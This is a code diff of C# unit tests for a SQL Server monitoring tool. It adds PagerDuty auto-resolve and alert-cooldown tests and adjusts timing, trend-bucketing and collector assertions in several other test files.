+        var settings = new WebhookSettings { PagerDutyRoutingKey = "rk-test", PagerDutyAutoResolve = true, Capture = endpoint };
+        var service = ServiceFor(settings, endpoint, history);
+        var now = DateTime.UtcNow;
+
+        Assert.Equal(AlertChannelOutcome.Delivered, await SendSingleAlertAsync(service, "Server Unreachable"));
+        history.SentRow("Server Unreachable", "261742202", now.AddMinutes(-3));
+        Assert.Equal(AlertChannelOutcome.Delivered, await SendSingleAlertAsync(service, "Server Restored"));
+        history.SentRow("Server Restored", "261742202", now.AddMinutes(-2));
+        Assert.Equal(AlertChannelOutcome.Delivered, await SendSingleAlertAsync(service, "Server Unreachable"));
+        history.SentRow("Server Unreachable", "261742202", now.AddMinutes(-1));
+
+        var restarted = ServiceFor(settings, endpoint, history);
+        Assert.Equal(AlertChannelOutcome.Delivered, await SendSingleAlertAsync(restarted, "Server Restored"));
+
+        Assert.Equal(new[] { "trigger", "resolve", "trigger", "resolve" }, endpoint.Bodies.Select(WireAction).ToArray());
+    }
+
+    /// <summary>
+    /// The other restart half (#5469): down, up, then a restart, then down. The firing's key re-seeds from the
+    /// first outage's row, which is OLDER than the recovery's row: the recovery closed that incident, so the
+    /// second outage must announce instead of meeting the old window.
+    /// </summary>
+    [Fact]
+    public async Task SendPath_AutoResolveOn_RestartBetweenTheUpAndTheSecondDown_PagesTheSecondOutage()
+    {
+        var endpoint = new CapturingPagerDuty();
+        var history = new FakeHistoryStore();
+        var settings = new WebhookSettings { PagerDutyRoutingKey = "rk-test", PagerDutyAutoResolve = true, Capture = endpoint };
+        var service = ServiceFor(settings, endpoint, history);
+        var now = DateTime.UtcNow;
+
+        Assert.Equal(AlertChannelOutcome.Delivered, await SendSingleAlertAsync(service, "Server Unreachable"));
+        history.SentRow("Server Unreachable", "261742202", now.AddMinutes(-3));
+        Assert.Equal(AlertChannelOutcome.Delivered, await SendSingleAlertAsync(service, "Server Restored"));
+        history.SentRow("Server Restored", "261742202", now.AddMinutes(-2));
+
+        var restarted = ServiceFor(settings, endpoint, history);
+        Assert.Equal(AlertChannelOutcome.Delivered, await SendSingleAlertAsync(restarted, "Server Unreachable"));
+
+        Assert.Equal(new[] { "trigger", "resolve", "trigger" }, endpoint.Bodies.Select(WireAction).ToArray());
+    }
+
+    /// <summary>
+    /// The flag is read ONCE per delivery. Lite's settings are the live ones, so the operator can untick
+    /// auto-resolve while a post is in flight. Here the flag reads true for the cooldown and false for every
+    /// later read: the PagerDuty post must still be the resolve under the pair's key, because the cooldown
+    /// already cleared the outage's key on the strength of the first read.
+    /// </summary>
+    [Fact]
+    public async Task SendPath_AutoResolveFlagChangesAfterTheCooldownRead_PostsWithTheValueReadFirst()
+    {
+        var endpoint = new CapturingPagerDuty();
+        var settings = new WebhookSettings { PagerDutyRoutingKey = "rk-test", PagerDutyAutoResolve = true, Capture = endpoint };
+        var service = ServiceFor(settings, endpoint);
+
+        Assert.Equal(AlertChannelOutcome.Delivered, await SendSingleAlertAsync(service, "Server Unreachable"));
+
+        // From here the flag reads true once, then false: the first read is the delivery's one value.
+        settings.AutoResolveTrueForReads = settings.AutoResolveReads + 1;
+        Assert.Equal(AlertChannelOutcome.Delivered, await SendSingleAlertAsync(service, "Server Restored"));
+
+        Assert.Equal(2, endpoint.Bodies.Count);
+        Assert.Equal("resolve", WireAction(endpoint.Bodies[1]));
+        Assert.Equal(WireDedupKey(endpoint.Bodies[0]), WireDedupKey(endpoint.Bodies[1]));
+    }
+
+    /// <summary>
+    /// The control for the restart seed: auto-resolve OFF seeds exactly as it always did. The same history
+    /// (down, up) re-seeds the firing from its own older row after a restart and the second outage stays
+    /// throttled.
+    /// </summary>
+    [Fact]
+    public async Task SendPath_AutoResolveOff_RestartBetweenTheUpAndTheSecondDown_KeepsTheShippedThrottling()
+    {
+        var endpoint = new CapturingPagerDuty();
+        var history = new FakeHistoryStore();
+        var settings = new WebhookSettings { PagerDutyRoutingKey = "rk-test", PagerDutyAutoResolve = false, Capture = endpoint };
+        var now = DateTime.UtcNow;
+        history.SentRow("Server Unreachable", "261742202", now.AddMinutes(-3));
+        history.SentRow("Server Restored", "261742202", now.AddMinutes(-2));
+
+        var restarted = ServiceFor(settings, endpoint, history);
+
+        Assert.NotEqual(AlertChannelOutcome.Delivered, await SendSingleAlertAsync(restarted, "Server Unreachable"));
+        Assert.Empty(endpoint.Bodies);
+    }
+
+    /// <summary>
+    /// The control on the new clear's flag gate: auto-resolve OFF, up, down, up inside the cooldown. The down
+    /// is the first firing (nothing throttles it), so it reaches the clear that re-arms the recovery with the
+    /// flag on; with the flag off nothing is cleared and the second up stays throttled.
+    /// </summary>
+    [Fact]
+    public async Task SendPath_AutoResolveOff_UpDownUpInsideTheCooldown_DoesNotRearmTheRecovery()
+    {
+        var endpoint = new CapturingPagerDuty();
+        var settings = new WebhookSettings { PagerDutyRoutingKey = "rk-test", PagerDutyAutoResolve = false, Capture = endpoint };
+        var service = ServiceFor(settings, endpoint);
+
+        Assert.Equal(AlertChannelOutcome.Delivered, await SendSingleAlertAsync(service, "Server Restored"));
+        Assert.Equal(AlertChannelOutcome.Delivered, await SendSingleAlertAsync(service, "Server Unreachable"));
+        Assert.NotEqual(AlertChannelOutcome.Delivered, await SendSingleAlertAsync(service, "Server Restored"));
+
+        Assert.Equal(2, endpoint.Bodies.Count);
+    }
+
+    /// <summary>
+    /// The control on the new clear's delivery gate: with auto-resolve on, a firing whose PagerDuty post FAILS
+    /// does not re-arm its recovery. Down and up deliver, the second down fails at PagerDuty, and the second
+    /// up stays throttled (a failed trigger opened no incident the recovery could close).
+    /// </summary>
+    [Fact]
+    public async Task SendPath_AutoResolveOn_AFailedFiringPost_DoesNotRearmTheRecovery()
+    {
+        var endpoint = new CapturingPagerDuty();
+        var settings = new WebhookSettings { PagerDutyRoutingKey = "rk-test", PagerDutyAutoResolve = true, Capture = endpoint };
+        var service = ServiceFor(settings, endpoint);
+        var failNext = false;
+        service.PostPagerDutyAsyncOverride = (_, payload) =>
+        {
+            if (failNext)
+            {
+                return Task.FromResult<string?>("PagerDuty returned 500");
+            }
+
+            endpoint.Bodies.Add(payload);
+            return Task.FromResult<string?>(null);
+        };
+
+        Assert.Equal(AlertChannelOutcome.Delivered, await SendSingleAlertAsync(service, "Server Unreachable"));
+        Assert.Equal(AlertChannelOutcome.Delivered, await SendSingleAlertAsync(service, "Server Restored"));
+
+        failNext = true;
+        Assert.NotEqual(AlertChannelOutcome.Delivered, await SendSingleAlertAsync(service, "Server Unreachable"));
+
+        failNext = false;
+        Assert.NotEqual(AlertChannelOutcome.Delivered, await SendSingleAlertAsync(service, "Server Restored"));
+
+        Assert.Equal(new[] { "trigger", "resolve" }, endpoint.Bodies.Select(WireAction).ToArray());
+    }
+
+    /// <summary>
+    /// One alert through the real <see cref="WebhookAlertService"/> fan-out with the PagerDuty post
+    /// captured. Each <see cref="WebhookAlertService"/> is constructed per send (no shared state leaks
+    /// between the sends an A/B case sequences); the shared per-test cooldown is the POINT of the
+    /// re-arm test, so the same service instance is REUSED where the cooldown must persist across sends.
+    /// </summary>
+    private async Task<AlertChannelOutcome> SendSingleAlertAsync(
+        WebhookAlertService service, string metricName, string serverId = "261742202",
+        AlertContext? context = null)
+    {
+        var result = await service.TrySendWebhookAlertsAsync(
+            metricName, "SRV1", "current", "threshold", serverId, context);
+        return result.Outcome;
+    }
+
+    private WebhookAlertService ServiceFor(WebhookSettings settings, CapturingPagerDuty capture, FakeHistoryStore? history = null)
+    {
+        var service = new WebhookAlertService(
+            settings,
+            Branding,
+            Microsoft.Extensions.Logging.Abstractions.NullLogger<WebhookAlertService>.Instance,
+            historyStore: history);
+        service.PostPagerDutyAsyncOverride = async (endpoint, payload) =>
+        {
+            Assert.Equal("https://events.pagerduty.com/v2/enqueue", endpoint);
+            capture.Bodies.Add(payload);
+            return await Task.FromResult<string?>(null);
+        };
+        return service;
+    }
+
+    /// <summary>
+    /// The seeding history store the WebhookCooldownSeedTests' fake established the shape for (that class's
+    /// <c>FakeHistoryStore</c> is per-class, like every other double here): the last WEBHOOK send time the
+    /// real stores answer the cooldown's seed with, set by <see cref="SentRow"/> to model the history write
+    /// the deliverer makes after a delivery. Scope-guarded by metric — the real store answers per
+    /// (server, metric, dedup key), so answering one metric's question with another metric's row is
+    /// unfaithful and would seed "Server Restored" with the outage's time and suppress the resolve.
+    /// </summary>
+    private sealed class FakeHistoryStore : IAlertHistoryStore
+    {
+        private readonly List<(string Metric, string ServerId, DateTime AtUtc)> _sentRows = new();
+
+        public int SeedReads { get; private set; }
+        public int AnsweredReads { get; private set; }
+
+        public void SentRow(string metricName, string serverId, DateTime atUtc) =>
+            _sentRows.Add((metricName, serverId, atUtc));
+
+        public Task<DateTime?> GetLastWebhookSentUtcAsync(string serverId, string metricName, string? dedupKey = null)
+        {
+            SeedReads++;
+            DateTime? max = null;
+            foreach (var row in _sentRows)
+            {
+                if (row.Metric == metricName && row.ServerId == serverId && (max is null || row.AtUtc > max.Value))
+                    max = row.AtUtc;
+            }
+
+            if (max.HasValue)
+                AnsweredReads++;
+            return Task.FromResult(max);
+        }
+
+        public Task RecordAlertAsync(AlertHistoryRecord record) => Task.CompletedTask;
+        public Task<DateTime?> GetLastEmailSentUtcAsync(string serverId, string metricName, string? dedupKey = null) => Task.FromResult<DateTime?>(null);
+        public Task<DateTime?> GetLastAlertTimeAsync(string serverId, string metricName, string? dedupKey = null) => Task.FromResult<DateTime?>(null);
+        public Task<DateTime?> GetLastDeliveredPageUtcAsync(string serverId, string metricName) => Task.FromResult<DateTime?>(null);
+    }
+
+    private static string WireAction(string body) =>
+        JsonDocument.Parse(body).RootElement.GetProperty("event_action").GetString()!;
+
+    private static string WireDedupKey(string body) =>
+        JsonDocument.Parse(body).RootElement.GetProperty("dedup_key").GetString()!;
+
+    /// <summary>
+    /// The payloads one test's PagerDuty sends captured, in send order. Plain list, no socket: the
+    /// service's post override answers the send and hands the payload here, so nothing leaves the
+    /// process and the assertions read the exact JSON the wire would have seen. One instance per
+    /// settings, so a flag-on capture can never leak bodies into a flag-off one.
+    /// </summary>
+    private sealed class CapturingPagerDuty
+    {
+        public List<string> Bodies { get; } = new();
+    }
+
+    private sealed class WebhookSettings : IAlertSettings
+    {
+        public string PagerDutyRoutingKey { get; set; } = "";
+        private bool _pagerDutyAutoResolve;
+
+        /// <summary>Counts every read of the flag, so a test can make the flag change mid-delivery.</summary>
+        public int AutoResolveReads { get; private set; }
+
+        /// <summary>When set, the flag reads as set only up to this many total reads and as false after.</summary>
+        public int? AutoResolveTrueForReads { get; set; }
+
+        public bool PagerDutyAutoResolve
+        {
+            get
+            {
+                AutoResolveReads++;
+                return _pagerDutyAutoResolve && (AutoResolveTrueForReads is null || AutoResolveReads <= AutoResolveTrueForReads);
+            }
+            set => _pagerDutyAutoResolve = value;
+        }
+
+        public CapturingPagerDuty? Capture { get; set; }
+
+        public bool PagerDutyEnabled => !string.IsNullOrWhiteSpace(PagerDutyRoutingKey);
+        public bool PagerDutyUseEuRegion => false;
+
+        /* The proxy is unused on this fake (the capture rides the service's post override instead), kept
+           defaulted to the shipped "direct" shape. */
+        string IAlertSettings.PagerDutyProxyAddress => "";
+
+        public bool TeamsWebhookEnabled => false;
+        public string TeamsWebhookUrl => "";
+        public string TeamsProxyAddress => "";
+        public bool SlackWebhookEnabled => false;
+        public string SlackWebhookUrl => "";
+        public string SlackProxyAddress => "";
+        public bool GenericWebhookEnabled => false;
+        public string GenericWebhookUrl => "";
+        public string GenericWebhookHeadersJson => "";
+        public string GenericWebhookBodyTemplate => "";
+        public string GenericWebhookProxyAddress => "";
+        public bool SmtpEnabled => false;
+        public string SmtpServer => "";
+        public int SmtpPort => 25;
+        public bool SmtpUseSsl => false;
+        public string SmtpUsername => "";
+        public string SmtpFromAddress => "";
+        public string SmtpRecipients => "";
+        public string? GetSmtpPassword() => null;
+        public string EmailSmtpHost => "";
+        public int EmailSmtpPort => 25;
+        public bool EmailSmtpUseSsl => false;
+        public string EmailSmtpUsername => "";
+        public string EmailSmtpPassword => "";
+        public string EmailFromAddress => "";
+        public string EmailRecipients => "";
+        public int EmailCooldownMinutes => 60;
+        public int AnalysisPageCap => 10;
+        public string TriageBaseUrl => "";
+        public double AnalysisNotifySeverity => 0;
+        public int AnalysisNotifyCooldownMinutes => 0;
+        public int UncorroboratedFindingPageCap => 0;
+        public string UncorroboratedFindingRoute => "";
+        public System.Collections.Generic.IReadOnlyList<NotificationRoute> NotificationRoutes => System.Array.Empty<NotificationRoute>();
+    }
+
     /* ---------------- Custom details (T-SQL hint) ---------------- */
 
     [Fact]
diff --git a/Lite.Tests/ParameterSensitivityClockFrameTests.cs b/Lite.Tests/ParameterSensitivityClockFrameTests.cs
index 18d82a0a40..06e06c80e2 100644
--- a/Lite.Tests/ParameterSensitivityClockFrameTests.cs
+++ b/Lite.Tests/ParameterSensitivityClockFrameTests.cs
@@ -89,7 +89,7 @@ private static readonly (string Label, int MinutesFromWindowStart, bool Expected
     private static int ExpectedOffenders => Plans.Count(p => p.Expected);
 
     private static readonly DateTime WindowEnd =
-        DateTime.SpecifyKind(new DateTime(DateTime.UtcNow.Ticks - (DateTime.UtcNow.Ticks % TimeSpan.TicksPerSecond)), DateTimeKind.Unspecified);
+        DateTime.SpecifyKind(new DateTime(DateTime.UtcNow.Ticks / TimeSpan.TicksPerSecond * TimeSpan.TicksPerSecond), DateTimeKind.Unspecified);
     private static readonly DateTime WindowStart = WindowEnd.AddHours(-4);
 
     private readonly DuckDbInitializer _duckDb;
diff --git a/Lite.Tests/ParameterSensitivityFiringSignatureParityTests.cs b/Lite.Tests/ParameterSensitivityFiringSignatureParityTests.cs
index 3d3227d1d1..f867fcd7bd 100644
--- a/Lite.Tests/ParameterSensitivityFiringSignatureParityTests.cs
+++ b/Lite.Tests/ParameterSensitivityFiringSignatureParityTests.cs
@@ -57,6 +57,7 @@ namespace Lite.Tests;
 /// those exact corpus lines as negative controls and the shipped forms as positive ones, so a pattern
 /// that has quietly stopped matching fails instead of reporting a clean bill of health.</para>
 /// </summary>
+[Trait("Reads", "Darling")]
 public sealed class ParameterSensitivityFiringSignatureParityTests
 {
     /// <summary>
diff --git a/Lite.Tests/PartialDatabaseFailureNoteTests.cs b/Lite.Tests/PartialDatabaseFailureNoteTests.cs
index 93b763ac1e..5857e8ef4b 100644
--- a/Lite.Tests/PartialDatabaseFailureNoteTests.cs
+++ b/Lite.Tests/PartialDatabaseFailureNoteTests.cs
@@ -41,6 +41,7 @@ namespace PerformanceMonitorLite.Tests;
 /// schema versions of a plausible-looking empty table.
 /// </para>
 /// </summary>
+[Trait("Reads", "Darling")]
 public class PartialDatabaseFailureNoteTests
 {
     [Fact]
diff --git a/Lite.Tests/PerDatabaseProbeFailureTests.cs b/Lite.Tests/PerDatabaseProbeFailureTests.cs
index bd1fb7029c..fb4e461fe9 100644
--- a/Lite.Tests/PerDatabaseProbeFailureTests.cs
+++ b/Lite.Tests/PerDatabaseProbeFailureTests.cs
@@ -192,7 +192,12 @@ public void Blocked_Process_Report_Is_The_Collector_This_Reaches()
            cannot quietly become the third case without someone reading this. */
         Assert.True(BlockedProcessReportCollector.Instance.EmitsProbeFailures);
         Assert.True(BlockedProcessReportCollector.Instance.RunsPerDatabase(new CollectorTargetInfo { IsAzureSqlDb = true }));
-        Assert.False(DatabaseSizeStatsCollector.Instance.RunsPerDatabase(new CollectorTargetInfo { IsAzureSqlDb = true }));
+
+        /* #5498: database_size_stats now runs per database on Azure too. Its Azure text emits no trailing set, and
+           the contract reads an absent set as zero failures, so declaring the flag there changes nothing. */
+        Assert.True(DatabaseSizeStatsCollector.Instance.EmitsProbeFailures);
+        Assert.True(DatabaseSizeStatsCollector.Instance.RunsPerDatabase(new CollectorTargetInfo { IsAzureSqlDb = true }));
+        Assert.False(DatabaseSizeStatsCollector.Instance.RunsPerDatabase(new CollectorTargetInfo()));
     }
 
     /* ── helpers ── */
diff --git a/Lite.Tests/PerEventNotificationTests.cs b/Lite.Tests/PerEventNotificationTests.cs
index b971aa9d2d..5be1af9146 100644
--- a/Lite.Tests/PerEventNotificationTests.cs
+++ b/Lite.Tests/PerEventNotificationTests.cs
@@ -177,6 +177,23 @@ public void Split_CurrentValueIsOccurrenceCount()
         Assert.Equal("7", msg.CurrentValue);
     }
 
+    /// <summary>
+    /// #5368: the per-replica identity rides along with the severity. It describes the FIRING a card
+    /// carries, not one incident, and the PagerDuty key is derived from the context the sender is handed —
+    /// so a card whose copy dropped the identity would re-key the AG pair per server. (The shipped AG state
+    /// edge is stateless and never splits; the pin holds the copy honest anyway, for the shape that does.)
+    /// </summary>
+    [Fact]
+    public void Split_KeepsThePerReplicaIdentity()
+    {
+        var ctx = new AlertContext { AgReplicaIdentity = "OrdersAG:REPLICA-A" };
+        AlertIncidentRenderer.Apply(ctx, new[] { new AlertIncident("k", new[] { "db.dbo.T" }) });
+
+        var msg = Assert.Single(PerEventNotification.Split(ctx, 10));
+
+        Assert.Equal("OrdersAG:REPLICA-A", msg.Context.AgReplicaIdentity);
+    }
+
     [Fact]
     public void Split_OverCap_CapsIndividualAndBatchesOverflow()
     {
diff --git a/Lite.Tests/PerfmonCounterTypeTests.cs b/Lite.Tests/PerfmonCounterTypeTests.cs
index 6272029dc2..5285ff5a41 100644
--- a/Lite.Tests/PerfmonCounterTypeTests.cs
+++ b/Lite.Tests/PerfmonCounterTypeTests.cs
@@ -35,6 +35,7 @@ namespace PerformanceMonitorLite.Tests;
 /// <c>PerformanceMonitor.Collectors</c> is kept free of both), so the gauge set is spelled twice and
 /// <see cref="TheCollectorsGaugeSet_IsTheVocabularysGaugeSet"/> is what holds the two spellings equal.</para>
 /// </summary>
+[Trait("Reads", "Darling")]
 public sealed class PerfmonCounterTypeTests
 {
     /* ---- the vocabulary ------------------------------------------------------------------------------ */
@@ -87,8 +88,9 @@ public void Kind_AndWord_AreNullForANullType_AndOneSpellingOtherwise()
         Assert.Equal("other", PerfmonCounterTypes.Word(424242));
     }
 
-    /// <summary>The write half and the read half of one rule, held equal across the assembly boundary that
-    /// forbids one declaration: a type added to either side without the other fails here, not in a chart.</summary>
+    /// <summary>The write half and the read half of one rule, declared once: the gauge set lives in the
+    /// vocabulary (<c>PerfmonCounterTypes.GaugeTypes</c>) and the collector's <c>GaugeCounterTypes</c> and
+    /// <c>IsGauge</c> read it, so a type added there reaches the collector in the same edit.</summary>
     [Fact]
     public void TheCollectorsGaugeSet_IsTheVocabularysGaugeSet()
     {
@@ -104,11 +106,13 @@ public void TheCollectorsGaugeSet_IsTheVocabularysGaugeSet()
             Assert.False(PerfmonStatsCollector.IsGauge(type));
         }
 
-        /* The two assemblies really are unrelated — the reason the set is spelled twice. */
+        /* The collectors assembly reads the vocabulary from Common, and Common does not reference the collectors
+           back: one direction only, so the set is declared once and there is no cycle. */
         var collectors = typeof(PerfmonStatsCollector).Assembly;
         var common = typeof(PerfmonCounterTypes).Assembly;
-        Assert.DoesNotContain(collectors.GetReferencedAssemblies(), a => a.Name == common.GetName().Name);
+        Assert.Contains(collectors.GetReferencedAssemblies(), a => a.Name == common.GetName().Name);
         Assert.DoesNotContain(common.GetReferencedAssemblies(), a => a.Name == collectors.GetName().Name);
+        Assert.Same(PerfmonCounterTypes.GaugeTypes, PerfmonStatsCollector.GaugeCounterTypes);
     }
 
     /* ---- the Lite rung ------------------------------------------------------------------------------- */
@@ -208,6 +212,7 @@ publish the rate differently. */
 /// the rung (NULL type), and a counter whose instances disagree on type — each read back with the type the
 /// chart classifies by, the delta as null where none was stored, and the kind word the MCP publishes.
 /// </summary>
+[Trait("Reads", "Darling")]
 public sealed class PerfmonCounterTypeReadTests : IClassFixture<SharedDuckDbFixture>, IDisposable
 {
     private readonly DuckDbInitializer _duckDb;
@@ -441,7 +446,7 @@ public async Task AV61Database_ClimbsToV62_AndItsOldRowsReadANullType()
         Directory.CreateDirectory(dbDir);
         var dbPath = Path.Combine(dbDir, "lite-v61.duckdb");
 
-        var initializer = new DuckDbInitializer(dbPath);
+        using var initializer = new DuckDbInitializer(dbPath);
         await initializer.InitializeAsync();
 
         using (var conn = new DuckDBConnection($"Data Source={dbPath}"))
@@ -478,7 +483,7 @@ v61 passthrough is put back over the table without the column. Lite rebuilds eve
             await ExecAsync(conn, "INSERT INTO schema_version (version) VALUES (61)");
         }
 
-        var upgraded = new DuckDbInitializer(dbPath);
+        using var upgraded = new DuckDbInitializer(dbPath);
         await upgraded.InitializeAsync();
 
         using (var conn = new DuckDBConnection($"Data Source={dbPath}"))
diff --git a/Lite.Tests/PerformanceCalendarDataTests.cs b/Lite.Tests/PerformanceCalendarDataTests.cs
index 96d9a67ccb..706a5b9986 100644
--- a/Lite.Tests/PerformanceCalendarDataTests.cs
+++ b/Lite.Tests/PerformanceCalendarDataTests.cs
@@ -39,7 +39,10 @@ public class PerformanceCalendarDataTests : IClassFixture<SharedDuckDbFixture>,
        nobody changed. Two months back is always inside a three-month horizon and always a finished month,
        so the still-forming-day clamp never applies; the day-number comments below ("07-10") read as
        "day 10 of the fixture month". */
-    private static readonly DateTime MonthStart = new DateTime(DateTime.UtcNow.Year, DateTime.UtcNow.Month, 1, 0, 0, 0, DateTimeKind.Utc).AddMonths(-2);
+    private static readonly DateTime MonthStart = FirstOfMonth(DateTime.UtcNow).AddMonths(-2);
+
+    // Year and month from one clock read: two reads could straddle a month boundary.
+    private static DateTime FirstOfMonth(DateTime now) => new(now.Year, now.Month, 1, 0, 0, 0, DateTimeKind.Utc);
     private static readonly DateTime MonthEnd = MonthStart.AddMonths(1);
 
     public PerformanceCalendarDataTests(SharedDuckDbFixture fixture)
@@ -121,6 +124,11 @@ private Task SeedAlertAsync(DateTime day, string metric, bool dismissed) =>
     [Fact]
     public async Task GetDailySummaryRange_BucketsEachDay_AndBandsViaSharedCalculator()
     {
+        // One transaction for the whole seed (#5208): ~700 single-row INSERTs were ~700 WAL commits. It is committed
+        // before the read below, which opens its own connection and sees only committed rows.
+        var seedConn = await SeedConnectionAsync();
+        using var batch = new SeedBatch(_duckDb, seedConn);
+
         // 07-02 Healthy despite one deadlock (#3525): deadlocks band as a RATE over the 24-hour day
         // through the card band's tiers, and 1/day is 0.04/hr — far under the 5/hr Warning tier. The
         // count still lands in the row (the drill and tooltip keep it); waits decide the top-wait ranking
@@ -197,6 +205,8 @@ public async Task GetDailySummaryRange_BucketsEachDay_AndBandsViaSharedCalculato
         // (alerts are part of the day spine), banded Warning, not dropped as No-Data.
         await SeedAlertAsync(Day(22), "Blocking Detected", dismissed: false);
 
+        batch.Commit();
+
         var rows = await _dataService.GetDailySummaryRangeAsync(ServerId, MonthStart, MonthEnd);
         var byDate = rows.ToDictionary(r => r.SummaryDate.Date);
 
diff --git a/Lite.Tests/PerformanceTrendDurationBucketingTests.cs b/Lite.Tests/PerformanceTrendDurationBucketingTests.cs
index be7793a8df..5ce796c335 100644
--- a/Lite.Tests/PerformanceTrendDurationBucketingTests.cs
+++ b/Lite.Tests/PerformanceTrendDurationBucketingTests.cs
@@ -132,16 +132,19 @@ public async Task QueryDurationTrend_SingletonBuckets_MatchTheOldPerCollectionRe
 
         var points = await _dataService.GetQueryDurationTrendAsync(ServerId, hoursBack: 1, databaseNames: new[] { "AppDb" });
 
-        Assert.Equal(2, points.Count);
-        Assert.Equal(new[] { t1, t2 }, points.Select(p => p.CollectionTime).ToArray());
+        /* #5414 round 2: the collection where only OtherDb ran is a collection the store held, so [AppDb] reads a measured 0 there
+           (it is a point of the chart, not a gap). */
+        Assert.Equal(3, points.Count);
+        Assert.Equal(new[] { t1, excluded, t2 }, points.Select(p => p.CollectionTime).ToArray());
+        Assert.Equal(0.0, points[1].Value!.Value);
 
         Assert.Equal(12.0, points[0].Value!.Value, precision: 6);
         Assert.Equal(0.4, points[0].ExecutionsPerSecond!.Value, precision: 6);
         Assert.Equal(0L, points[0].ExecutionCount);
 
-        Assert.Equal(10.0, points[1].Value!.Value, precision: 6);
-        Assert.Equal(4.0, points[1].ExecutionsPerSecond!.Value, precision: 6);
-        Assert.Equal(4L, points[1].ExecutionCount);
+        Assert.Equal(10.0, points[2].Value!.Value, precision: 6);
+        Assert.Equal(4.0, points[2].ExecutionsPerSecond!.Value, precision: 6);
+        Assert.Equal(4L, points[2].ExecutionCount);
 
         /* #4234: only Value/ExecutionCount/ExecutionsPerSecond are filled for a chart point — the MCP-only
            bucket fields stay null, as they always have for these three reads. */
@@ -155,23 +158,28 @@ public async Task ProcedureDurationTrend_SingletonBuckets_MatchTheOldPerCollecti
     {
         var minuteFloor = MinuteFloor(DateTime.UtcNow.AddMinutes(-50));
         var t1 = minuteFloor.AddSeconds(37);
-        var t2 = t1.AddMinutes(12);
         var excluded = t1.AddMinutes(5);
+        var t2 = excluded.AddSeconds(100);
 
-        await SeedProcedureAsync(t1, "usp_A", "AppDb", deltaExecutions: 12, deltaElapsedUs: 360_000, interval: 30);
-        await SeedProcedureAsync(t2, "usp_B", "AppDb", deltaExecutions: 100, deltaElapsedUs: 250_000, interval: 25);
+        /* #5449: a procedure point's seconds are its gap to the previous point (the first point keeps its own stored interval),
+           so t2 sits 100 s after the point before it, the interval it stored. */
+        await SeedProcedureAsync(t1, "usp_A", "AppDb", deltaExecutions: 12, deltaElapsedUs: 360_000, interval: 60);
+        await SeedProcedureAsync(t2, "usp_B", "AppDb", deltaExecutions: 100, deltaElapsedUs: 250_000, interval: 100);
         await SeedProcedureAsync(excluded, "usp_C", "OtherDb", deltaExecutions: 999_999, deltaElapsedUs: 999_999_000, interval: 1);
 
         var points = await _dataService.GetProcedureDurationTrendAsync(ServerId, hoursBack: 1, databaseNames: new[] { "AppDb" });
 
-        Assert.Equal(2, points.Count);
-        Assert.Equal(new[] { t1, t2 }, points.Select(p => p.CollectionTime).ToArray());
+        /* #5414 round 2: the collection where only OtherDb ran is a collection the store held, so [AppDb] reads a measured 0 there
+           (it is a point of the chart, not a gap). */
+        Assert.Equal(3, points.Count);
+        Assert.Equal(new[] { t1, excluded, t2 }, points.Select(p => p.CollectionTime).ToArray());
+        Assert.Equal(0.0, points[1].Value!.Value);
 
-        Assert.Equal(12.0, points[0].Value!.Value, precision: 6);
-        Assert.Equal(0.4, points[0].ExecutionsPerSecond!.Value, precision: 6);
+        Assert.Equal(6.0, points[0].Value!.Value, precision: 6);
+        Assert.Equal(0.2, points[0].ExecutionsPerSecond!.Value, precision: 6);
 
-        Assert.Equal(10.0, points[1].Value!.Value, precision: 6);
-        Assert.Equal(4.0, points[1].ExecutionsPerSecond!.Value, precision: 6);
+        Assert.Equal(2.5, points[2].Value!.Value, precision: 6);
+        Assert.Equal(1.0, points[2].ExecutionsPerSecond!.Value, precision: 6);
     }
 
     [Fact]
@@ -188,10 +196,13 @@ public async Task ExecutionCountTrend_SingletonBuckets_MatchTheOldPerCollectionR
 
         var points = await _dataService.GetExecutionCountTrendAsync(ServerId, hoursBack: 1, databaseNames: new[] { "AppDb" });
 
-        Assert.Equal(2, points.Count);
-        Assert.Equal(new[] { t1, t2 }, points.Select(p => p.CollectionTime).ToArray());
+        /* #5414 round 2: the collection where only OtherDb ran is a collection the store held, so [AppDb] reads a measured 0 there
+           (it is a point of the chart, not a gap). */
+        Assert.Equal(3, points.Count);
+        Assert.Equal(new[] { t1, excluded, t2 }, points.Select(p => p.CollectionTime).ToArray());
+        Assert.Equal(0.0, points[1].Value!.Value);
         Assert.Equal(0.4, points[0].Value!.Value, precision: 6);
-        Assert.Equal(4.0, points[1].Value!.Value, precision: 6);
+        Assert.Equal(4.0, points[2].Value!.Value, precision: 6);
     }
 
     /* ---- a merged bucket sums work over seconds (never averages the rates), and an unrated collection
@@ -245,25 +256,29 @@ public async Task ProcedureDurationTrend_MergedBucketSumsWork_UnratedAloneIsNull
         var m2 = m1.AddMinutes(3);
         var m3 = m1.AddMinutes(6);
 
-        await SeedProcedureAsync(m1.AddSeconds(5), "usp_M1a", "AppDb", deltaExecutions: 5, deltaElapsedUs: 100_000, interval: 10);
-        await SeedProcedureAsync(m1.AddSeconds(45), "usp_M1b", "AppDb", deltaExecutions: 40, deltaElapsedUs: 600_000, interval: 20);
+        /* #5449: a procedure point's seconds are its gap to the previous point, the first point keeps its stored interval (20), the
+           second sits 40 s after it (40), a restart point (interval 0) is unrated whatever the gap. */
+        await SeedProcedureAsync(m1.AddSeconds(5), "usp_M1a", "AppDb", deltaExecutions: 5, deltaElapsedUs: 100_000, interval: 20);
+        await SeedProcedureAsync(m1.AddSeconds(45), "usp_M1b", "AppDb", deltaExecutions: 40, deltaElapsedUs: 600_000, interval: 40);
         await SeedProcedureAsync(m2.AddSeconds(10), "usp_M2", "AppDb", deltaExecutions: 777, deltaElapsedUs: 777_000, interval: 0);
         await SeedProcedureAsync(m3.AddSeconds(5), "usp_M3unrated", "AppDb", deltaExecutions: 999, deltaElapsedUs: 999_000, interval: 0);
-        await SeedProcedureAsync(m3.AddSeconds(45), "usp_M3rated", "AppDb", deltaExecutions: 30, deltaElapsedUs: 150_000, interval: 15);
+        await SeedProcedureAsync(m3.AddSeconds(45), "usp_M3rated", "AppDb", deltaExecutions: 30, deltaElapsedUs: 150_000, interval: 60);
 
         var points = await _dataService.GetProcedureDurationTrendAsync(ServerId, hoursBack: 1);
 
         Assert.Equal(3, points.Count);
         Assert.Equal(new[] { m1, m2, m3 }, points.Select(p => p.CollectionTime).ToArray());
 
-        Assert.Equal(700.0 / 30.0, points[0].Value!.Value, precision: 6);
-        Assert.Equal(45.0 / 30.0, points[0].ExecutionsPerSecond!.Value, precision: 6);
+        Assert.Equal(700.0 / 60.0, points[0].Value!.Value, precision: 6);
+        Assert.Equal(45.0 / 60.0, points[0].ExecutionsPerSecond!.Value, precision: 6);
